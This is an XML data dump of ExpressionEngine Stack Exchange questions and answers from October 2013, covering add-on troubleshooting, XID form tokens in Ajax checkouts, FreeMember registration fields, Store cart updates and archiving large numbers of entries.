  <row Id="14487" PostTypeId="2" ParentId="14466" CreationDate="2013-10-10T13:36:20.093" Score="1" Body="&lt;p&gt;This plugin does that, but I don't think it supports the role param. It would be real easy to add though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jazonv/SafeCracker-HTML5-Attributes&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jazonv/SafeCracker-HTML5-Attributes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-10T13:36:20.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14488" PostTypeId="1" CreationDate="2013-10-10T13:45:06.700" Score="0" ViewCount="35" Body="&lt;p&gt;When the status is set on the form as &quot;Pending&quot; does this mean that it will not go to the email for that form until Approved? Im new to this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also When I submit the form it goes through but says URI invalid? &#xA;Any suggestions on what this could be? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2174" LastActivityDate="2013-10-10T13:45:06.700" Title="Status for the forms" Tags="|status|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14489" PostTypeId="1" CreationDate="2013-10-10T14:18:33.630" Score="1" ViewCount="208" Body="&lt;p&gt;This question was asked earlier and the suggestion was the devot-ee addon LogMeIn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone clarify that this is the only option?  &lt;/p&gt;&#xA;" OwnerUserId="2175" LastActivityDate="2016-06-06T10:33:55.893" Title="Allow Guests to Upload to Directory? FreeForm PRO / EE2.6.1" Tags="|solspace-freeform|file-uploads|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14490" PostTypeId="1" AcceptedAnswerId="14512" CreationDate="2013-10-10T14:28:29.093" Score="2" ViewCount="791" Body="&lt;p&gt;Thanks for taking the time to help. I am having a ready head scratcher with a single page checkout system for CT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built a accordion type checkout system. First panel is the billing address and then once validated it submits via Ajax and opens the next stage - shipping etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each panel has a CT checkout form in it that submits, updates info and shipping details. Each stage of the checkout works well and data is updated in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the last step - Actually confirming and payment, won't submit and redirect to the payment provider. I have noticed that the XID is empty. In fact, if I look at the code, the first form &quot;billing info&quot; has an XID. When shipping is opened, that form has a blank XID, but it submits OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The response coming back from the POST has different XIDs in each form. But if I view source, it doesn't show - XID is just blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This checkout worked before 2.7. I understand that EE has had some work done on the XID for 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to launch this site tomorrow and really could do with some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a JS Fiddle with my code. I really hope someone can help.&#xA;&lt;a href=&quot;http://jsfiddle.net/KByhm/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/KByhm/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for taking the time to look.&lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="150" LastEditDate="2013-10-13T14:18:45.970" LastActivityDate="2013-10-13T14:18:45.970" Title="XID issue with Ajax based checkout CT" Tags="|cartthrob|ajax|checkout|xid|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14491" PostTypeId="2" ParentId="14482" CreationDate="2013-10-10T14:30:17.790" Score="1" Body="&lt;p&gt;Assets 2.2 requires EE 2.7.2 to work with Grid - that was mentioned in the yesterday's blog post about the release :)&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-10T14:30:17.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14492" PostTypeId="1" CreationDate="2013-10-10T14:56:43.293" Score="2" ViewCount="633" Body="&lt;p&gt;I have a Select custom member field, how do I display this in the Freemember registration form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is called &quot;school&quot;, the below code does not seem to work, maybe I am doing it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{field:school}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    {exp:freemember:register return=&quot;{segment_1}/{segment_2}/register-success&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;                    &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; class=&quot;txtbox&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {error:username}&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; value=&quot;&quot; class=&quot;txtbox&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {error:email}&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;school&quot;&amp;gt;School&amp;lt;/label&amp;gt;&#xA;                        {field:school}&#xA;                        {error:school}&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; class=&quot;txtbox&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {error:password}&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; value=&quot;&quot; class=&quot;txtbox&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {error:password_confirm}&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                    {if captcha}&#xA;                    &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;captcha&quot; style=&quot;margin-bottom:5px;&quot;&amp;gt;Please enter the following characters into the box below:&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;br /&amp;gt;{captcha}&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; class=&quot;txtbox&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {error:captcha}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    {/if}   &#xA;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        &amp;lt;input type=&quot;submit&quot; id=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                {/exp:freemember:register}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="541" LastEditorUserId="541" LastEditDate="2013-10-10T15:49:34.400" LastActivityDate="2013-11-04T09:37:00.710" Title="Using custom field in freemember registration form" Tags="|freemember|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14493" PostTypeId="1" AcceptedAnswerId="14506" CreationDate="2013-10-10T15:56:05.520" Score="2" ViewCount="140" Body="&lt;p&gt;Is it possible to have Wygwam (or any custom field) pre-populated with content when you create a new entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aiming to give my client a table, with some cells already filled in.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-10-10T19:54:19.490" Title="Pre-populated content in Wygwam?" Tags="|wygwam|custom-fields|textarea|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14494" PostTypeId="1" AcceptedAnswerId="14606" CreationDate="2013-10-10T16:23:16.423" Score="2" ViewCount="62" Body="&lt;p&gt;I am running EE 2.7.1 and User 3.4.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new member resisters the redirect does not work just loads a blank page and the membership does not process..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I updated the Solspace User to 3.4.5 and ran the module update and get this error: &#xA;Unable to load the requested class: mbr_addon_builder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The registration seems to be working now after the User upgrade, but I can't run module updates anymore without getting that error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be great!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Looks like it may be related not to CartThrob.  That file is in the CT Permissions library folder.  Tried to remove it but still getting the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to update Cart Throb Permission Manager 2.3.3 and then I get the same error and cannot even log into the control panel&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-10-10T16:48:23.830" LastActivityDate="2013-10-15T12:55:43.363" Title="Solspace User - not accepting new members: Error mbr_addon_builder" Tags="|cartthrob|module|upgrade|solspace-user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14495" PostTypeId="2" ParentId="14493" CreationDate="2013-10-10T17:18:24.657" Score="0" Body="&lt;p&gt;I don't think this is possible. But you could easily write a small custom accessory to do it with JavaScript.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-10T17:18:24.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14496" PostTypeId="2" ParentId="14472" CreationDate="2013-10-10T17:21:20.470" Score="0" Body="&lt;p&gt;Normally I keep my CSS and JS files outside of templates in an assets directory inside of the site's document root. Though EE supports using templates for CSS and JS, I've found it's rarely necessary to use them in that way.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-10T17:21:20.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14497" PostTypeId="2" ParentId="14490" CreationDate="2013-10-10T17:51:35.300" Score="1" Body="&lt;p&gt;This isnt an answer as such, just some comments.&#xA;In 2.7, if secure forms is on, a form wont submit without an xid. Prior to 2.7 it would if youd created your own form tags.&#xA;If xid is blank, you can add it manually like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This answer may help too&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14341/how-do-i-add-an-xid-hash-to-an-old-addon&quot;&gt;link&lt;/a&gt;&#xA;Good luck&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-10T17:51:35.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14498" PostTypeId="1" CreationDate="2013-10-10T18:00:54.787" Score="3" ViewCount="377" Body="&lt;p&gt;I am using FreeForm PRO with EE 2.6.1.  I have a form that I only want submitted if the author agrees to the terms and conditions by checking the box.  I tried to make it a required field, but that did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciate.&lt;/p&gt;&#xA;" OwnerUserId="2175" LastActivityDate="2013-11-08T15:28:51.533" Title="FreeForm PRO checkbox requied field" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14499" PostTypeId="2" ParentId="14470" CreationDate="2013-10-10T18:09:20.740" Score="1" Body="&lt;p&gt;First, just note that it's safe to assume that adding more memory / faster servers for both your EE/Apache and MySQL will make things work better. 100k+ entries is enough to require more horsepower than a smaller site, but that generally can be addressed through reasonable upgrades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I was just working on a site with 75k+ entries--and we were definitely seeing performance issues around adding fields (especially because there were hundreds of fields already, with a lot of data in most of them). EE sticks all of your entry data (&quot;custom fields&quot;) in one MySQL table, and every field change and entry change has to compete for lock access (and new fields = new MySQL columns which lock the whole table while it's being restructured).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, just to add: this is a kind-of tricky situation where there's no one solution that matches every site's content and archiving needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you have some options, depending on what you mean by &quot;archived.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What worked for me:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the site I was just working on with 75k &quot;archivable&quot; entries, we simply made a usable backup of the site and DB, and then deleted the 75k entries and corresponding channel fields from the live site. These entries already were not visible on the live site, but they do need to be stored indefinitely for business reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we are able to bring up this backup copy of the site on a development machine if we need to access those entries. And the live site is much happier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other options:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make the Edit list faster when you're using filter by channel, you can move the old entries to a different channel(s). You need to create a new channel that has the exact same field, category and status groups as your current channel. Then, you should be able to go into an entry, and select between the current and archive channel in the Channel drop down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this works, then you can use MySQL to mass update change the channel_id for the entries that you want to move to the archive channel. The channel_id field is used in these tables in EE MySQL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exp_channel_data&lt;/li&gt;&#xA;&lt;li&gt;exp_channel_entries_autosave&lt;/li&gt;&#xA;&lt;li&gt;exp_channel_form_settings&lt;/li&gt;&#xA;&lt;li&gt;exp_channel_member_groups&lt;/li&gt;&#xA;&lt;li&gt;exp_channel_titles&lt;/li&gt;&#xA;&lt;li&gt;exp_channels&lt;/li&gt;&#xA;&lt;li&gt;exp_comments&lt;/li&gt;&#xA;&lt;li&gt;exp_entry_versioning&lt;/li&gt;&#xA;&lt;li&gt;exp_layout_publish&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At a minimum, you'll need to update the channel_id for entries in exp_channel_titles and exp_channel_data. You'll need to update it in other tables if you're using the relevant featurs--e.g., if your entries have comments, you'll need to update in exp_comments, too. Also, some add-ons use channel_id, like Low Search stores the channel_id in exp_low_search_collections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, generally, you can handle the new channel configuration via the EE control panel, and then do a mass update via MySQL of the entry_id &amp;lt;-&gt; channel_id relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could split your site into two EE installs, one with current entries, and one with the archived entries. These could live on two sets of Apache / DB servers. You could have these live at separate domains (e.g., example.com and archive.example.com), or use a reverse proxy to have one domain access both sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be easy to create from a MySQL backup. If your site continues to grow such that you eventually have to figure out how to move entries from the current to the archived copies of the site, that will be a little harder to deal with. But, again, developing queries in MySQL for selecting the relevant data, and then exporting it, will work.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-10-10T18:09:20.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14500" PostTypeId="1" CreationDate="2013-10-10T18:11:47.220" Score="0" ViewCount="238" Body="&lt;p&gt;I'm trying to help out with a client that manages its own in-house web server, where iCal and BusyCal are used to maintain a dozen or so calendars. These calendars are displayed for members in a portal facilitated by ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous developer, who is frustratingly unavailable, hacked together an add-on that parses .ics files with &lt;a href=&quot;https://github.com/fangel/SG-iCalendar&quot; rel=&quot;nofollow&quot;&gt;SG-iCalendar&lt;/a&gt;, turns events into a JSON feed, and uses loads of JavaScript to render them in this portal. The result is a poorly-performing calendar that's now incorrectly rendering &lt;em&gt;some&lt;/em&gt; recurring events depending on how they're defined in the ICS format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to reliably display calendar events in the portal without requiring the client to change the way they currently manage events? iCal, BusyCal, and Outlook all do just fine rendering these calendars accurately – but I'm not sure what to advise to help the client away from this hack and &lt;em&gt;not&lt;/em&gt; waste money having me re-invent the wheel with a new parser.&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-10-11T09:09:16.743" Title="Displaying ICS data in ExpressionEngine" Tags="|calendar|ical|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14501" PostTypeId="1" CreationDate="2013-10-10T18:18:51.897" Score="0" ViewCount="66" Body="&lt;p&gt;Does anyone out there have Cart Throb Permissions working as it should?  I have NEVER been able to get it working properly since I purchased it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;up2date EE 2.7.1 CartThrovb 2.4 and Permissions 2.3.3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still get error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The requested module page could not be found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when click next page at the bottom of my permission module page.  I con only access the first 50 permissions and cannot view the next page.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-10-10T18:21:56.620" Title="Cart Throb Permissions: The requested module page could not be found" Tags="|cartthrob|permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14502" PostTypeId="2" ParentId="14501" CreationDate="2013-10-10T18:21:56.620" Score="1" Body="&lt;p&gt;actually found the issue. When I did the upgrade the file Mbr_addon_builder.php was not deleted and it should have been.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-10-10T18:21:56.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14503" PostTypeId="2" ParentId="14387" CreationDate="2013-10-10T18:32:17.843" Score="1" Body="&lt;p&gt;Edit: heres the bug report response from EE&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It’s really not a bug, but it would be nice if we could only generate&#xA;  it when needed- i.e., the template parser spots a form tag.  The&#xA;  sticking point is ajax and how the lack of an xid would jam things up&#xA;  there.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I know this started the devs bouncing some ideas around, but at the&#xA;  moment, the behavior is expected.  And to be clear, it’s always&#xA;  generated the xid on page load- so while it would be great if they&#xA;  come up with a way to reduce those xid inserts, it’s not adding new&#xA;  overhead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The issue i see is xids are also being created for more things than just page load and forms, which dont appear to be 'used' and cleared, resulting in quickly increasing size for exp_security_hashes table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution for now, is to just run this via a cron job every day&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;security-&amp;gt;garbage_collect_xids()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-10-10T18:32:17.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14505" PostTypeId="2" ParentId="13938" CreationDate="2013-10-10T19:16:05.663" Score="1" Body="&lt;p&gt;Basically I was using freebie segments to dynamically add sorting and ordering parameters. Low took a look at the site and recommended that the better (and correct!) way of dynamically adding the sorting and ordering parameters in Low Search is to build the URL and include them in the query. This can be done numerous ways, but the end result looks something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;domain.com/channel?orderby=date&amp;amp;sort=desc&amp;amp;limit=15&amp;amp;custom_field=foo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great product, great support. Will definitely use again.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-10-10T19:16:05.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14506" PostTypeId="2" ParentId="14493" CreationDate="2013-10-10T19:54:19.490" Score="4" Body="&lt;p&gt;CKEditor (which is the editor used by Wygwam) has a feature called &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Templates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Templates&lt;/a&gt; that you can use for this. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With CKEditor content writers can select a template from a list by&#xA;  clicking the Templates button in the toolbar. A template is a&#xA;  predefined piece of HTML that is inserted into a document. Using this&#xA;  feature, the user does not need to start formatting the text from&#xA;  scratch. Designers can prepare well designed templates which helps&#xA;  avoid user errors before they happen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The end user would still need to click the templates button to get the boilerplate content. So it wouldn't pre-fill the entry immediately, but it would do so with one click.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, take a look at these related questions for some other approaches. Or Jeremy's answer here in this post is great, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6529/pre-populate-a-text-input-field&quot;&gt;Pre-populate a text input field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1548/pre-fill-matrix-field-when-creating-new-entry&quot;&gt;Pre-fill matrix field when creating new entry?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5439/auto-populate-a-field-in-this-case-a-matrix-cell/5451&quot;&gt;Auto populate a field? (In this case a Matrix cell)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-10T19:54:19.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14507" PostTypeId="2" ParentId="14490" CreationDate="2013-10-10T20:18:20.903" Score="1" Body="&lt;p&gt;Every time you submit the form, you need to create a new XID and pass it back into the hidden input values. Essentially, each time you process the form it uses the XID token so the next time you process it without a page load, you will get that error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible the CT devs could add some to code to reuse the last XID if an AJAX request has been detected. This is just a theory, but it could work. Below is the minimum code needed in the checkout form tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(AJAX_REQUEST) &#xA;{&#xA;    ee()-&amp;gt;security-&amp;gt;restore_xid();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information refer to the dev docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#handling-form-hashes-in-your-add-on&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#handling-form-hashes-in-your-add-on&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-10T20:18:20.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14508" PostTypeId="1" AcceptedAnswerId="14541" CreationDate="2013-10-10T20:39:35.197" Score="2" ViewCount="291" Body="&lt;p&gt;I'm not getting custom category fields to echo out within a &lt;code&gt;{categories}&lt;/code&gt; loop that is also within a &lt;code&gt;{exp:low_reorder:entries}&lt;/code&gt; loop. Any thoughts? Just outputs as the custom category field shortname string.&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="28" LastEditDate="2013-10-11T21:48:22.733" LastActivityDate="2013-10-11T21:48:22.733" Title="Custom Category Fields with in categories loop in LowReorder loop" Tags="|add-on|categories|low-reorder|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14509" PostTypeId="1" AcceptedAnswerId="14518" CreationDate="2013-10-10T20:57:32.527" Score="1" ViewCount="183" Body="&lt;p&gt;I moved a custom addon out of system/third_party into a third_party folder above web root&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all was well until I realized that the addon didn't account for a different third_party folder location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the paths but now I'm having some strange issues with EE not loading custom config files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm loading the these files in the constructor of the mcp file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD . 'custom_addon/');&#xA;$this-&amp;gt;_EE-&amp;gt;load-&amp;gt;config('custom_addon');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the config files seem to load fine (I don't get any errors) but I can't access the config items in the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_EE-&amp;gt;config-&amp;gt;item('some_value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't return anything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea what's up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.6.1&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2013-10-11T09:42:46.860" Title="Custom config files in an EE addon" Tags="|add-on-development|module|extension|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14510" PostTypeId="1" AcceptedAnswerId="15495" CreationDate="2013-10-11T00:28:08.473" Score="4" ViewCount="746" Body="&lt;p&gt;First time using store and have hit my first &quot;WTF&quot; moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add items to cart&lt;/strong&gt; - DONE :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkout Page&lt;/strong&gt; - Displaying items in cart, cost and tax etc. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Delete Items in Cart&lt;/strong&gt; - Using the documented method - remove_items input field. I cannot remove individual items from cart.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; /&amp;gt; Remove {title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this inside the {items} loop. Then before {/exp:store:checkout} I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Totals&quot; class=&quot;btn&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Empty Cart&quot; class=&quot;btn btn-danger&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Continue to Billing Details&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update Totals - &lt;strong&gt;DOES NOT WORK&lt;/strong&gt;. Page refreshes but nothing changes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Empty Cart - &lt;strong&gt;DOES WORK!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I go and dig further, can anyone who has successfully used a checkbox to delete items from an Expresso Store project confirm the code they used or point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2 + Store 2.0.3&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-06T21:20:34.303" Title="Delete from Store Cart" Tags="|expresso-store|shopping-cart|delete|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14511" PostTypeId="1" CreationDate="2013-10-11T07:17:55.980" Score="3" ViewCount="112" Body="&lt;p&gt;I have products with different texture patterns ( See attached #patterns). [ I am using EE 2.7.0 + Expresso store 2.0.3. ]&#xA;I want these texture patterns as variation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel: Products [ product ]&#xA;Channel Fields: Specification [ specification ] &#xA;                - Modifier type : Variation&#xA;                - Name : texture&#xA;                - Options : adobe, sephia, ...etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now through these options or any other way I want thumb to display for each variation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Parth&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;patterns&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hSHqM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2177" LastActivityDate="2013-10-11T08:36:10.410" Title="Texture as color variation" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
